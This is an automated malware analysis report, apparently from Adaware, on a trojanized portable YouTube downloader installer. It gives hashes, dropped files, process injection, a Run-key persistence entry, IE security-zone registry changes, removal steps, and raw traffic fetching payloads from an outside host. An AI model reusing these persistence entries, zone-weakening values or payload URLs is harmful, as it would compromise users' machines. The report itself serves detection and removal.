Gen.Variant.MSILPerseus.1541 (B)_a9e517aa61 – Adaware

Gen:Variant.MSILPerseus.1541 (B) (Emsisoft), mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Malware

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: a9e517aa61090eb94646b7f05a495f38

SHA1: 9b6b870676ba999a6757f5c5285010c4adf12c15

SHA256: 84be70a66433f93d749881d1e26251f30f6449565f5e66a87aca7deaf4c17ae1

SSDeep: 196608:3b5iKzrZLtAjzHSAxaQGGxRZDk0RnI1SXfgNaD8MIOfQy1 eUI8pVOnBLdJ:r5rlLifyA805wUuI1TIOj1iRGLd

Size: 11576832 bytes

File type: EXE

Platform: WIN32

Entropy: Packed

PEID: MicrosoftVisualC, NETexecutable, UPolyXv05_v6

Company: no certificate found

Created at: 2015-11-17 20:56:26

Analyzed on: WindowsXP SP3 32-bit

Summary: Malware. Malware, short for malicious software, is any software used to disrupt computer operation, gather sensitive information, or gain access to private computer systems.

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Malware creates the following process(es):

u.exe:380
TempYouTubeVideoDownloaderPRO.exe:260

The Malware injects its code into the following process(es):

%original file name%.exe:580
setup.exe:436

Mutexes

The following mutexes were created/opened:

ZonesLockedCacheCounterMutexZonesCacheCounterMutexZonesCounterMutexShimCacheMutex

File activity

The process %original file name%.exe:580 makes changes in the file system.

The Malware creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\setup.exe (67 bytes)
%Documents and Settings%\%current user%\Local Settings\TempYouTubeVideoDownloaderPRO.exe (83795 bytes)

The process setup.exe:436 makes changes in the file system.

The Malware creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\taskhost.rar (44 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\7z.dll (121968 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\u.exe (28184 bytes)

The Malware deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\taskhost.rar (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\7z.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\u.exe (0 bytes)

The process TempYouTubeVideoDownloaderPRO.exe:260 makes changes in the file system.

The Malware creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp (11188 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp3.tmp\LangDLL.dll (5 bytes)

The Malware deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsp3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp1.tmp (0 bytes)

Registry activity

The process %original file name%.exe:580 makes changes in the system registry.

The Malware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F1 55 E0 6B 55 7D 19 B6 D6 4E 4E 96 32 6D E9 4C"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings\Temp]
"setup.exe" = "setup"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1]
"TempYouTubeVideoDownloaderPRO.exe" = "YTD Video Downloader PRO"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"Personal" = "%Documents and Settings%\%current user%\My Documents"

To automatically run itself each time Windows is booted, the Malware adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Startup" = "C:\Windows\system\taskhost.exe"

The Malware modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Malware modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Malware modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process setup.exe:436 makes changes in the system registry.

The Malware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "23 44 0C 7B 3E 03 E4 14 AE 8D C5 25 3A 82 F5 25"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings\Temp]
"u.exe" = "7-Zip Console"

The Malware modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Malware modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Malware modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process u.exe:380 makes changes in the system registry.

The Malware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "16 5C EF 29 53 DF 4F B7 0D 72 78 BC 62 CC 78 90"

The process TempYouTubeVideoDownloaderPRO.exe:260 makes changes in the system registry.

The Malware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5B 43 11 23 A1 81 CC EC 51 91 21 6C AD 9C 5D 9D"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

Dropped PE files

MD5	File path
2a731ea50c2c179e897bf9c0bb542b44	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\TempYouTubeVideoDownloaderPRO.exe
a1cd3f159ef78d9ace162f067b544fd9	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsp3.tmp\LangDLL.dll
7d2127944e668cebb435da10e75282bd	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\setup.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
u.exe:380
TempYouTubeVideoDownloaderPRO.exe:260
Delete the original Malware file.
Delete or disinfect the following files created/modified by the Malware:
%Documents and Settings%\%current user%\Local Settings\Temp\setup.exe (67 bytes)
%Documents and Settings%\%current user%\Local Settings\TempYouTubeVideoDownloaderPRO.exe (83795 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\taskhost.rar (44 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\7z.dll (121968 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\u.exe (28184 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp (11188 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp3.tmp\LangDLL.dll (5 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Startup" = "C:\Windows\system\taskhost.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: GreenTree Applications SRL
Product Name:
Product Version: 3.0.19.0
Legal Copyright: Copyright (c) 2007-2015 GreenTree Applications SRL
Legal Trademarks:
Original Filename: YouTube Video Downloader PRO 5.0.0 (20150817) Portable by PortableWares.exe
Internal Name: YouTube Video Downloader PRO 5.0.0 (20150817) Portable by PortableWares.exe
File Version: 3.0.19.0
File Description: YTD Video Downloader PRO
Comments: YTD Video Downloader PRO
Language: English (United States)

Company Name: GreenTree Applications SRLProduct Name: Product Version: 3.0.19.0Legal Copyright: Copyright (c) 2007-2015 GreenTree Applications SRLLegal Trademarks: Original Filename: YouTube Video Downloader PRO 5.0.0 (20150817) Portable by PortableWares.exeInternal Name: YouTube Video Downloader PRO 5.0.0 (20150817) Portable by PortableWares.exeFile Version: 3.0.19.0File Description: YTD Video Downloader PROComments: YTD Video Downloader PROLanguage: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	8192	11561108	11561472	5.54516	b41e5a9160955cdf8ff883a65074dbcb
.rsrc	11575296	14040	14336	3.44947	e8ada84ab0fb5a2cfb5f48b0e771a176
.reloc	11591680	12	512	0.070639	d72a5946e8b4c39fcafff33ca3a59ff7

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://appsmobilevn.com/tompan/soft/u.exe	192.185.91.40
hxxp://appsmobilevn.com/tompan/soft/7z.dll	192.185.91.40

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /tompan/soft/u.exe HTTP/1.1

Host: appsmobilevn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.8.1

Date: Wed, 17 Feb 2016 03:13:34 GMT

Content-Type: application/x-msdownload

Content-Length: 261632

Connection: keep-alive

Last-Modified: Sat, 09 Jan 2016 19:28:15 GMT

Accept-Ranges: bytes

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........J... r.. r.. r..7~.. r..4y.. r.B7|.. r..4x.. r..4v.. r.O#-.. r.. s.S r.B#/.. r...y.. r...x.. r..S... r..-t.. r.Rich. r.........PE..L....e}U........../......F..........6........`....@..........................P..................................................x....@..(............................................................................`...............................text....E.......F.................. ..`.rdata.......`.......J..............@..@.data....(..........................@....rsrc...(....@......................@..@........................................................................................................................................................................................................................................................................................................................................................................S.\$.UV....3.W.E. L$..M.3.f.....K.f..9N.v=..f..xf= .t.f=..u..|$..t2f=".u..|$......D$...P...*...3.G;~.r.3.;._^][...........Dx.P.....3.....V...F.;F.u.......F...f.T$.f..Af.dA..@.F...^....X.C........$VQ...M.......e...M.......M..............M..Y....M..E...M....E..U.P.M..E.........t..E...P......}..t$.E..M.P.r....u.......u..e...x...YY...u..l....u..d....u..\....M....d......^.....C......QSVW.}...3..u..>.^..^..^..^..N..].......N .E...........E.........P.....Y.E.;..E..t.hY.@.h..@..X.Wj.S.8......M..^..._^[d.........

<<< skipped >>>

GET /tompan/soft/7z.dll HTTP/1.1

Host: appsmobilevn.com

HTTP/1.1 200 OK

Server: nginx/1.8.1

Date: Wed, 17 Feb 2016 03:13:35 GMT

Content-Type: application/x-msdownload

Content-Length: 1010176

Connection: keep-alive

Last-Modified: Sat, 09 Jan 2016 19:28:15 GMT

Accept-Ranges: bytes

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........n...=...=...=...=...=v..=...=...=...=...=...={..=...=...=...=v..=...=...=>..=.#.=...=.#$=...=2..=...=...=...=Rich...=........................PE..L....h}U...........!.................3....................................... .......................................n..y...th..d........{......................Xq......................................................<............................text............................... ..`.rdata..Y...........................@..@.data... {...........`..............@....sxdata..............j..............@....rsrc....{.......|...l..............@..@.reloc..(...........................@..B........................................................................................................................................................................................................................................................................................A..D$....u..A.. ..........u.........A......u........u.2...U..S3.9].VWv/.}..u..?.u.f.>.u'.E..v..H........t.C......;].r.3._^[]....W.......@.....D$..H......T$.V.t$.h.....t$..N..V..F.^....D$..L$..@........j.X.....:...'...Qh......!..Y...M.3.;..E.t.......M.d........V..j..F......f...N....p....F.`..........^.U..V.u.j.hLr...u..&...........t.j.h8#...u...........u..E......P...#....@.3.....@..^].........@.....D...D$.VW..j..&..f...f.._;..F..F..s..............t..f...~..._^...SV..W.~..uU.F..N.;.u&

<<< skipped >>>

Map

The Malware connects to the servers at the folowing location(s):

Strings from Dumps

TempYouTubeVideoDownloaderPRO.exe_260:

.text

`.rdata

@.data

.ndata

.rsrc

@.reloc

RegDeleteKeyExW

Kernel32.DLL

PSAPI.DLL

%s=%s

GetWindowsDirectoryW

KERNEL32.dll

ExitWindowsEx

GetAsyncKeyState

USER32.dll

GDI32.dll

SHFileOperationW

ShellExecuteW

SHELL32.dll

RegDeleteKeyW

RegCloseKey

RegEnumKeyW

RegOpenKeyExW

RegCreateKeyExW

ADVAPI32.dll

COMCTL32.dll

ole32.dll

VERSION.dll

;-9}yL

yH#.gm-

KY2O%sx

%sX ~

LangDLL.dll

MoreInfo.dll

t:\untgz\MoreInfo\SRC\Release\MoreInfo.pdb

`.data

.reloc

FindProcDLL.dll

w7tbp.dll

aRGQ>)]I.hR2qZ6zd>

ZJ?Q>)K9'G5Ã´$D2#L

Ybk%C

%s.eT

%xuM-

133336633

0153668886663311

1536888

;886631 ~

113688;

86351 ($

>1367631%

Nullsoft Install System v2.46

logging set to %d

settings logging to %d

created uninstaller: %d, "%s"

WriteReg: error creating key "%s\%s"

WriteReg: error writing into "%s\%s" "%s"

WriteRegBin: "%s\%s" "%s"="%s"

WriteRegDWORD: "%s\%s" "%s"="0xx"

WriteRegExpandStr: "%s\%s" "%s"="%s"

WriteRegStr: "%s\%s" "%s"="%s"

DeleteRegKey: "%s\%s"

DeleteRegValue: "%s\%s" "%s"

WriteINIStr: wrote [%s] %s=%s in %s

CopyFiles "%s"->"%s"

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d

Error registering DLL: Could not load %s

Error registering DLL: %s not found in %s

GetTTFFontName(%s) returned %s

GetTTFVersionString(%s) returned %s

Exec: failed createprocess ("%s")

Exec: success ("%s")

Exec: command="%s"

ExecShell: success ("%s": file:"%s" params:"%s")

ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d

Exch: stack

RMDir: "%s"

MessageBox: %d,"%s"

Delete: "%s"

File: wrote %d to "%s"

File: skipped: "%s" (overwriteflag=%d)

File: error creating "%s"

File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"

Rename failed: %s

Rename on reboot: %s

Rename: %s

IfFileExists: file "%s" does not exist, jumping %d

IfFileExists: file "%s" exists, jumping %d

CreateDirectory: "%s" created

CreateDirectory: can't create "%s" - a file already exists

CreateDirectory: can't create "%s" (err=%d)

CreateDirectory: "%s" (%d)

SetFileAttributes: "%s":X

Sleep(%d)

detailprint: %s

Call: %d

Aborting: "%s"

Jump: %d

verifying installer: %d%%

unpacking data: %d%%

... %d%%

hXXp://nsis.sf.net/NSIS_Error

~nsu.tmp

install.log

%u.%u%s%s

Skipping section: "%s"

Section: "%s"

New install of "%s" to "%s"

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

*?|/":

invalid registry key

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

HKEY_PERFORMANCE_DATA

HKEY_USERS

HKEY_LOCAL_MACHINE

HKEY_CURRENT_USER

HKEY_CLASSES_ROOT

x%c

RMDir: RemoveDirectory failed("%s")

RMDir: RemoveDirectory on Reboot("%s")

RMDir: RemoveDirectory("%s")

RMDir: RemoveDirectory invalid input("%s")

Delete: DeleteFile failed("%s")

Delete: DeleteFile on Reboot("%s")

Delete: DeleteFile("%s")

%s: failed opening file "%s"

\"%CurrentUserName%"\LOCALS~1\Temp\nsp3.tmp\LangDLL.dll

rPRO.exe"

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsp3.tmp\LangDLL.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsp3.tmp

\StringFileInfo\XX\%s

USER.EXE

1.0.1.2

kernel32.dll

nsp3.tmp

File: wrote 5120 to "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsp3.tmp\LangDLL.dll"

~1\Temp\nsp3.tmp\LangDLL.dll"

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\TempYouTubeVideoDownloaderPRO.exe"

"C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\TempYouTubeVideoDownloaderPRO.exe"

\YTDPortable

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1

TempYouTubeVideoDownloaderPRO.exe

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsp1.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\TempYouTubeVideoDownloaderPRO.exe

PortableApps.comLocaleID%

hXXp://portablewares.blogspot.com/

5.0.0.4

YTDPortable_5.0.0.4_Multilingual.paf.exe

PortableApps.comAppID

YTDPortable

PortableApps.comFormatVersion

3.0.19

PortableApps.comInstallerVersion

3.0.19.0

Portable